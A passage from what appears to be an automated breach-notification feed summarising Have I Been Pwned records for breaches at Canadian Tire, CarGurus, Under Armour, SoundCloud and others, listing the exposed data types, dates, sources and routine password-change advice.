Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Canadian Tire breach: 38,306,562 accounts exposed
https://kevwire.com/record/hibp-canadiantire
Canadian Tire breach: 38,306,562 accounts exposed (Feb 25, 2026).
In October 2025, retailer Canadian Tire was the victim of a data breach that exposed almost 42M records. The data contained 38M unique email addresses along with names, phone numbers and physical addresses. Passwords were stored as PBKDF2 hashes and for a subset of records, dates of birth and partial credit card data were also included (card type, expiry and masked card number). In its disclosure notice , Canadian Tire advised that the incident did not impact bank account information or loyalty program data.
Sources:
Have I Been Pwned: Canadian Tire: https://haveibeenpwned.com/Breach/CanadianTire
Canadian Tire disclosure: https://corp.canadiantire.ca/English/Cyber-Incident/default.aspx
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-10-02; loaded 2026-02-25. Exposed data: Dates of birth, Email addresses, Genders, Names, Partial credit card data, Passwords, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### CarGurus breach: 12,461,887 accounts exposed
https://kevwire.com/record/hibp-cargurus
CarGurus breach: 12,461,887 accounts exposed (Feb 22, 2026).
In February 2026, the automotive marketplace CarGurus was the target of a data breach attributed to the threat actor ShinyHunters . Following an attempted extortion, the data was published publicly and contained more than 12M email addresses across multiple files including user account ID mappings, finance pre-qualification application data and dealer account and subscription information. Impacted data also included names, phone numbers, physical and IP addresses, and auto finance application outcomes.
Sources:
Have I Been Pwned: CarGurus: https://haveibeenpwned.com/Breach/CarGurus
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-02-14; loaded 2026-02-22. Exposed data: Email addresses, IP addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### CarMax breach: 431,371 accounts exposed
https://kevwire.com/record/hibp-carmax
CarMax breach: 431,371 accounts exposed (Feb 20, 2026).
In January 2026, data allegedly sourced from US automotive retailer CarMax was published online following a failed extortion attempt . The data included 431k unique email addresses along with names, phone numbers and physical addresses.
Sources:
Have I Been Pwned: CarMax: https://haveibeenpwned.com/Breach/CarMax
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-01-24; loaded 2026-02-20. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Figure breach: 967,178 accounts exposed
https://kevwire.com/record/hibp-figure
Figure breach: 967,178 accounts exposed (Feb 18, 2026).
In February 2026, data obtained from the fintech lending platform Figure was publicly posted online . The exposed data, dating back to January 2026, contained over 900k unique email addresses along with names, phone numbers, physical addresses and dates of birth. Figure confirmed the incident and attributed it to a social engineering attack in which an employee was tricked into providing access.
Sources:
Have I Been Pwned: Figure: https://haveibeenpwned.com/Breach/Figure
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-01-28; loaded 2026-02-18. Exposed data: Dates of birth, Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Canada Goose breach: 581,877 accounts exposed
https://kevwire.com/record/hibp-canadagoose
Canada Goose breach: 581,877 accounts exposed (Feb 17, 2026).
In February 2026, a data breach allegedly containing data relating to Canada Goose customers was published publicly . The data contained 920k records with 582k unique email addresses and included names, phone numbers, IP addresses, physical addresses and partial credit card data, specifically card type and last 4 digits. Canada Goose advised that the data "appears to relate to past customer transactions" and stated that it originated from a breach at a third party in August 2025. The most recent transaction date in the data is July 2025.
Sources:
Have I Been Pwned: Canada Goose: https://haveibeenpwned.com/Breach/CanadaGoose
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-07-04; loaded 2026-02-17. Exposed data: Device information, Email addresses, IP addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### University of Pennsylvania breach: 623,750 accounts exposed
https://kevwire.com/record/hibp-universityofpennsylvania
University of Pennsylvania breach: 623,750 accounts exposed (Feb 16, 2026).
In October 2025, the University of Pennsylvania was the victim of a data breach followed by a ransom demand , largely affecting its donor database. After the incident, the attackers sent inflammatory emails to some victims. The data was later published online in February 2026 and included 624k unique email addresses alongside names and physical addresses. For some donor records, additional personal information was exposed, including gender and date of birth. A small subset of records also contained religion, spouse name, estimated income and donation history.
Sources:
Have I Been Pwned: University of Pennsylvania: https://haveibeenpwned.com/Breach/UniversityOfPennsylvania
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-10-30; loaded 2026-02-16. Exposed data: Charitable donations, Dates of birth, Email addresses, Genders, Income levels, Job titles, Names, Physical addresses, Religions, Salutations, Spouses names. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### APOIA.se breach: 450,764 accounts exposed
https://kevwire.com/record/hibp-apoiase
APOIA.se breach: 450,764 accounts exposed (Feb 16, 2026).
In December 2025, a database of the Brazilian crowdfunding platform APOIA.se was posted to an online forum . In January 2026, the company confirmed it had suffered a data breach. The incident exposed 451k unique email addresses along with names and physical addresses.
Sources:
Have I Been Pwned: APOIA.se: https://haveibeenpwned.com/Breach/APOIAse
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-12-16; loaded 2026-02-16. Exposed data: Email addresses, Names, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Toy Battles breach: 1,017 accounts exposed
https://kevwire.com/record/hibp-toybattles
Toy Battles breach: 1,017 accounts exposed (Feb 10, 2026).
In February 2026, the online gaming community Toy Battles suffered a data breach. The incident exposed 1k unique email addresses alongside usernames, IP addresses and chat logs. Following the breach, Toy Battles self-submitted the data to Have I Been Pwned.
Sources:
Have I Been Pwned: Toy Battles: https://haveibeenpwned.com/Breach/ToyBattles
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-02-06; loaded 2026-02-10. Exposed data: Chat logs, Email addresses, IP addresses, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Association Nationale des Premiers Secours breach: 5,600 accounts exposed
https://kevwire.com/record/hibp-anps
Association Nationale des Premiers Secours breach: 5,600 accounts exposed (Feb 10, 2026).
In January 2026, a data breach impacting the French non-profit Association Nationale des Premiers Secours (ANPS) was posted to a hacking forum . The breach exposed 5.6k unique email addresses along with names, dates of birth and places of birth. ANPS self-submitted the data to HIBP and advised the incident was traced back to a legacy system and did not impact health data, financial information or passwords.
Sources:
Have I Been Pwned: Association Nationale des Premiers Secours: https://haveibeenpwned.com/Breach/ANPS
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-01-30; loaded 2026-02-10. Exposed data: Dates of birth, Email addresses, Names, Places of birth, Salutations. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Substack breach: 663,121 accounts exposed
https://kevwire.com/record/hibp-substack
Substack breach: 663,121 accounts exposed (Feb 6, 2026).
In October 2025, the publishing platform Substack suffered a data breach that was subsequently circulated more widely in February 2026. The breach exposed 663k account holder records containing email addresses along with publicly visible profile information from Substack accounts, such as publication names and bios. A subset of records also included phone numbers.
Sources:
Have I Been Pwned: Substack: https://haveibeenpwned.com/Breach/Substack
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-10-23; loaded 2026-02-06. Exposed data: Email addresses, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Betterment breach: 1,435,174 accounts exposed
https://kevwire.com/record/hibp-betterment
Betterment breach: 1,435,174 accounts exposed (Feb 5, 2026).
In January 2026, the automated investment platform Betterment confirmed it had suffered a data breach attributed to a social engineering attack . As part of the incident, Betterment customers received fraudulent crypto-related messages promising high returns if funds were sent to an attacker-controlled cryptocurrency wallet. The breach exposed 1.4M unique email addresses, along with names and geographic location data. A subset of records also included dates of birth, phone numbers, and physical addresses. In its disclosure notice , Betterment stated that the incident did not provide attackers with access to customer accounts and did not expose passwords or other login credentials.
Sources:
Have I Been Pwned: Betterment: https://haveibeenpwned.com/Breach/Betterment
Betterment disclosure: https://www.betterment.com/customer-update
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-01-09; loaded 2026-02-05. Exposed data: Dates of birth, Device information, Email addresses, Employers, Geographic locations, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Panera Bread breach: 5,112,502 accounts exposed
https://kevwire.com/record/hibp-panerabread
Panera Bread breach: 5,112,502 accounts exposed (Jan 31, 2026).
In January 2026, Panera Bread suffered a data breach that exposed 14M records . After an attempted extortion failed, the attackers published the data publicly, which included 5.1M unique email addresses along with associated account information such as names, phone numbers and physical addresses. Panera Bread subsequently confirmed that "the data involved is contact information" and that authorities were notified.
Sources:
Have I Been Pwned: Panera Bread: https://haveibeenpwned.com/Breach/PaneraBread
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-01-07; loaded 2026-01-31. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### SoundCloud breach: 29,815,722 accounts exposed
https://kevwire.com/record/hibp-soundcloud
SoundCloud breach: 29,815,722 accounts exposed (Jan 27, 2026).
In December 2025, SoundCloud announced it had discovered unauthorised activity on its platform . The incident allowed an attacker to map publicly available SoundCloud profile data to email addresses for approximately 20% of its users. The impacted data included 30M unique email addresses, names, usernames, avatars, follower and following counts and, in some cases, the user’s country. The attackers later attempted to extort SoundCloud before publicly releasing the data the following month.
Sources:
Have I Been Pwned: SoundCloud: https://haveibeenpwned.com/Breach/SoundCloud
SoundCloud disclosure: https://soundcloud.com/playbook-articles/protecting-our-users-and-our-service
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-12-15; loaded 2026-01-27. Exposed data: Avatars, Email addresses, Geographic locations, Names, Profile statistics, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Under Armour breach: 72,742,892 accounts exposed
https://kevwire.com/record/hibp-underarmour
Under Armour breach: 72,742,892 accounts exposed (Jan 21, 2026).
In November 2025, the Everest ransomware group claimed Under Armour as a victim and attempted to extort a ransom , alleging they had obtained access to 343GB of data. In January 2026, customer data from the incident was published publicly on a popular hacking forum , including 72M email addresses. Many records also contained additional personal information such as names, dates of birth, genders, geographic locations and purchase information.
Sources:
Have I Been Pwned: Under Armour: https://haveibeenpwned.com/Breach/UnderArmour
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-11-17; loaded 2026-01-21. Exposed data: Dates of birth, Email addresses, Genders, Geographic locations, Names, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Raaga breach: 10,225,145 accounts exposed
https://kevwire.com/record/hibp-raaga
Raaga breach: 10,225,145 accounts exposed (Jan 19, 2026).
In December 2025, data allegedly breached from the Indian streaming music service "Raaga" was posted for sale to a popular hacking forum . The data contained 10M unique email addresses along with names, genders, ages (in some cases, full date of birth), postcodes and passwords stored as unsalted MD5 hashes.
Sources:
Have I Been Pwned: Raaga: https://haveibeenpwned.com/Breach/Raaga
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-12-15; loaded 2026-01-19. Exposed data: Ages, Dates of birth, Email addresses, Genders, Geographic locations, Names, Passwords. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pass'Sport breach: 6,366,133 accounts exposed
https://kevwire.com/record/hibp-passsport
Pass'Sport breach: 6,366,133 accounts exposed (Jan 18, 2026).
In December 2025, data from France's Pass'Sport program was posted to a popular hacking forum . Initially misattributed to CAF (the French family allowance fund), the data contained 6.5M unique email addresses affecting 3.5M households. The data also included names, phone numbers, genders and physical addresses. The Ministry of Sports subsequently released a statement acknowledging the incident .
Sources:
Have I Been Pwned: Pass'Sport: https://haveibeenpwned.com/Breach/PassSport
Pass'Sport disclosure: https://www.sports.gouv.fr/exfiltration-de-donnees-provenant-d-un-des-systemes-d-information-du-ministere-10048
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-12-17; loaded 2026-01-18. Exposed data: Email addresses, Genders, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Instagram breach: 6,215,150 accounts exposed
https://kevwire.com/record/hibp-instagram
Instagram breach: 6,215,150 accounts exposed (Jan 11, 2026).
In January 2026, data allegedly scraped via an Instagram API was posted to a popular hacking forum . The dataset contained 17M rows of public Instagram information, including usernames, display names, account IDs, and in some cases, geolocation data. Of these records, 6.2M included an associated email address, and some also contained a phone number. The scraped data appears to be unrelated to password reset requests initiated on the platform , despite coinciding in timeframe. There is no evidence that passwords or other sensitive data were compromised.
Sources:
Have I Been Pwned: Instagram: https://haveibeenpwned.com/Breach/Instagram
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-01-07; loaded 2026-01-11. Exposed data: Display names, Email addresses, Geographic locations, Phone numbers, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### BreachForums (2025) breach: 672,247 accounts exposed
https://kevwire.com/record/hibp-breachforums2025
BreachForums (2025) breach: 672,247 accounts exposed (Jan 10, 2026).
In October 2025, a reincarnation of the hacking forum BreachForums, which had previously been shut down multiple times, was taken offline by a coalition of law enforcement agencies . In the months leading up to the takedown, the site itself suffered a data breach that exposed a total of 672k unique email addresses across all tables, including within forum posts and private messages. The users table alone contained 324k unique email addresses, usernames, and Argon2 password hashes.
Sources:
Have I Been Pwned: BreachForums (2025): https://haveibeenpwned.com/Breach/BreachForums2025
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-08-11; loaded 2026-01-10. Exposed data: Email addresses, Forum posts, Passwords, Private messages, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### WIRED breach: 2,364,431 accounts exposed
https://kevwire.com/record/hibp-wired
WIRED breach: 2,364,431 accounts exposed (Dec 27, 2025).
In December 2025, 2.3M records of WIRED magazine users allegedly obtained from parent company Condé Nast were published online . The most recent data dated back to the previous September and exposed email addresses and display names, as well as, for a small number of users, their name, phone number, date of birth, gender, and geographic location or full physical address. The WIRED data allegedly represents a subset of Condé Nast brands the hacker also claims to have obtained.
Sources:
Have I Been Pwned: WIRED: https://haveibeenpwned.com/Breach/WIRED
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-09-08; loaded 2025-12-27. Exposed data: Dates of birth, Display names, Email addresses, Genders, Geographic locations, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Utair breach: 401,400 accounts exposed
https://kevwire.com/record/hibp-utair
Utair breach: 401,400 accounts exposed (Dec 26, 2025).
In August 2020, news broke of a data breach of Russian airline Utair that dated back to the previous year . The breach contained over 400k unique email addresses along with extensive personal information including names, physical addresses, dates of birth, passport numbers and loyalty program details.
Sources:
Have I Been Pwned: Utair: https://haveibeenpwned.com/Breach/Utair
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2019-03-21; loaded 2025-12-26. Exposed data: Dates of birth, Email addresses, Genders, Loyalty program details, Names, Passport numbers, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### AUTOSUR breach: 487,226 accounts exposed
https://kevwire.com/record/hibp-autosur
AUTOSUR breach: 487,226 accounts exposed (Dec 18, 2025).
In March 2025, the French vehicle inspection company AUTOSUR suffered a data breach exposing over 10M customer records, though only 487k unique email addresses were present. The compromised data included names, phone numbers, physical addresses, and vehicle details such as make and model, VIN, and registration plate. AUTOSUR later issued a disclosure notice with further details.
Sources:
Have I Been Pwned: AUTOSUR: https://haveibeenpwned.com/Breach/AUTOSUR
AUTOSUR disclosure: https://www.autosur.fr/information-fuite-de-donnees/
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-03-16; loaded 2025-12-18. Exposed data: Email addresses, Names, Phone numbers, Physical addresses, Vehicle details, Vehicle identification numbers (VINs), Vehicle registration plates. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Botting Network breach: 96,320 accounts exposed
https://kevwire.com/record/hibp-thebottingnetwork
The Botting Network breach: 96,320 accounts exposed (Dec 18, 2025).
In August 2012, the forum for making money with botting "The Botting Network" suffered a data breach that exposed 96k user records . The now defunct vBulletin forum leaked 96k email addresses, usernames, dates of birth and salted MD5 password hashes.
Sources:
Have I Been Pwned: The Botting Network: https://haveibeenpwned.com/Breach/TheBottingNetwork
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2012-08-12; loaded 2025-12-18. Exposed data: Dates of birth, Email addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Web Hosting Talk breach: 515,149 accounts exposed
https://kevwire.com/record/hibp-webhostingtalk
Web Hosting Talk breach: 515,149 accounts exposed (Dec 17, 2025).
In July 2016, the Web Hosting Talk forum suffered a data breach that was subsequently listed for sale . The breach of the vBulletin based forum exposed 515k user records including usernames, email addresses, IP addresses and salted MD5 password hashes.
Sources:
Have I Been Pwned: Web Hosting Talk: https://haveibeenpwned.com/Breach/WebHostingTalk
Web Hosting Talk disclosure: https://www.webhostingtalk.com/showthread.php?t=1585297
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2016-07-01; loaded 2025-12-17. Exposed data: Email addresses, IP addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### KinoKong breach: 817,808 accounts exposed
https://kevwire.com/record/hibp-kinokong
KinoKong breach: 817,808 accounts exposed (Dec 6, 2025).
In March 2021, the Russian online streaming service KinoKong suffered a data breach that was later redistributed as part of a larger corpus of data . The breach exposed over 800k unique email addresses along with names, usernames, IP addresses and MD5 password hashes.
Sources:
Have I Been Pwned: KinoKong: https://haveibeenpwned.com/Breach/KinoKong
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2021-03-25; loaded 2025-12-06. Exposed data: Email addresses, IP addresses, Names, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### CodeStepByStep breach: 103,077 accounts exposed
https://kevwire.com/record/hibp-codestepbystep
CodeStepByStep breach: 103,077 accounts exposed (Nov 23, 2025).
In November 2025, the online coding practice tool CodeStepByStep suffered a data breach that exposed 17k records which were subsequently published online . The following month, a further corpus of data was released bringing the total to 103k. The impacted data included names, usernames and email addresses.
Sources:
Have I Been Pwned: CodeStepByStep: https://haveibeenpwned.com/Breach/CodeStepByStep
CodeStepByStep disclosure: https://www.codestepbystep.com/r/system/breach-disclosure-2025-11-23
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-11-15; loaded 2025-11-23. Exposed data: Email addresses, Names, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Beckett Collectibles breach: 1,041,238 accounts exposed
https://kevwire.com/record/hibp-beckett
Beckett Collectibles breach: 1,041,238 accounts exposed (Nov 20, 2025).
In November 2025, Beckett Collectibles experienced a data breach accompanied by website content defacement . The stolen data was later advertised for sale on a prominent hacking forum, with portions subsequently released publicly. The publicly circulating data initially included more than 500k email addresses reportedly belonging to North American customers, before a larger corpus of over 1M addresses was published the following month. The impacted data included names, usernames, phone numbers and physical addresses.
Sources:
Have I Been Pwned: Beckett Collectibles: https://haveibeenpwned.com/Breach/Beckett
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-11-09; loaded 2025-11-20. Exposed data: Email addresses, Names, Phone numbers, Physical addresses, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Zilvia.net breach: 287,863 accounts exposed
https://kevwire.com/record/hibp-zilvia
Zilvia.net breach: 287,863 accounts exposed (Dec 1, 2025).
In November 2025, data breached from the Zilvia.net Nissan 240SX Silvia and Z Fairlady car forum was leaked. The breach exposed 288k unique email addresses along with usernames, IP addresses and salted MD5 password hashes sourced from the vBulletin based platform. Attempts to contact Zilvia.net about the incident were unsuccessful.
Sources:
Have I Been Pwned: Zilvia.net: https://haveibeenpwned.com/Breach/Zilvia
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-11-06; loaded 2025-12-01. Exposed data: Email addresses, IP addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### China Software Developer Network breach: 6,414,990 accounts exposed
https://kevwire.com/record/hibp-csdn
China Software Developer Network breach: 6,414,990 accounts exposed (Nov 27, 2025).
In 2011, the China Software Developer Network (CSDN) suffered a data breach that exposed over 6M user records . The data included email addresses alongside usernames and plain text passwords.
Sources:
Have I Been Pwned: China Software Developer Network: https://haveibeenpwned.com/Breach/CSDN
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2011-12-21; loaded 2025-11-27. Exposed data: Email addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### ADDA breach: 1,829,314 accounts exposed
https://kevwire.com/record/hibp-adda
ADDA breach: 1,829,314 accounts exposed (Nov 23, 2025).
In March 2025, data allegedly breached from the ADDA housing societies service was posted to a public hacking forum . The data contained over 1.8M unique email addresses along with names, phone numbers and MD5 password hashes.
Sources:
Have I Been Pwned: ADDA: https://haveibeenpwned.com/Breach/ADDA
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-03-24; loaded 2025-11-23. Exposed data: Email addresses, Names, Passwords, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### International Kiteboarding Organization breach: 340,349 accounts exposed
https://kevwire.com/record/hibp-iko
International Kiteboarding Organization breach: 340,349 accounts exposed (Nov 20, 2025).
In November 2025, the International Kiteboarding Organization suffered a data breach that exposed 340k user records . The data was subsequently listed for sale on a hacking forum and included email addresses, names, usernames and in many cases, the user's city and country.
Sources:
Have I Been Pwned: International Kiteboarding Organization: https://haveibeenpwned.com/Breach/IKO
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-11-11; loaded 2025-11-20. Exposed data: Email addresses, Geographic locations, Names, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Eurofiber breach: 10,003 accounts exposed
https://kevwire.com/record/hibp-eurofiber
Eurofiber breach: 10,003 accounts exposed (Nov 20, 2025).
In November 2025, Eurofiber France disclosed a data breach of its ticket management platform . Data containing 10k unique email addresses and a smaller number of names and phone numbers was subsequently leaked. A threat actor claiming responsibility for the breach alleges to have additional, more sensitive data including screenshots, VPN configuration files, credentials, source code, certificates, archives, and SQL backup files.
Sources:
Have I Been Pwned: Eurofiber: https://haveibeenpwned.com/Breach/Eurofiber
Eurofiber disclosure: https://www.eurofiber.com/fr-fr/actualites/incident-de-cybersecurite-chez-eurofiber-france
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-11-13; loaded 2025-11-20. Exposed data: Email addresses, Names, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vultr breach: 187,872 accounts exposed
https://kevwire.com/record/hibp-vultr
Vultr breach: 187,872 accounts exposed (Nov 20, 2025).
In March 2023, the "AI-first global cloud platform" Vultr disclosed a security incident at a third-party vendor . Dating back to the previous year, the incident was attributed to the ActiveCampaign email marketing service provider and resulted in the exposure of 188k unique email addresses. A small number of records also included name, IP address and country of origin. No Vultr systems or additional customer data were impacted. Vultr subsequently self-submitted the impacted data to HIBP.
Sources:
Have I Been Pwned: Vultr: https://haveibeenpwned.com/Breach/Vultr
Vultr disclosure: https://blogs.vultr.com/important-update
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
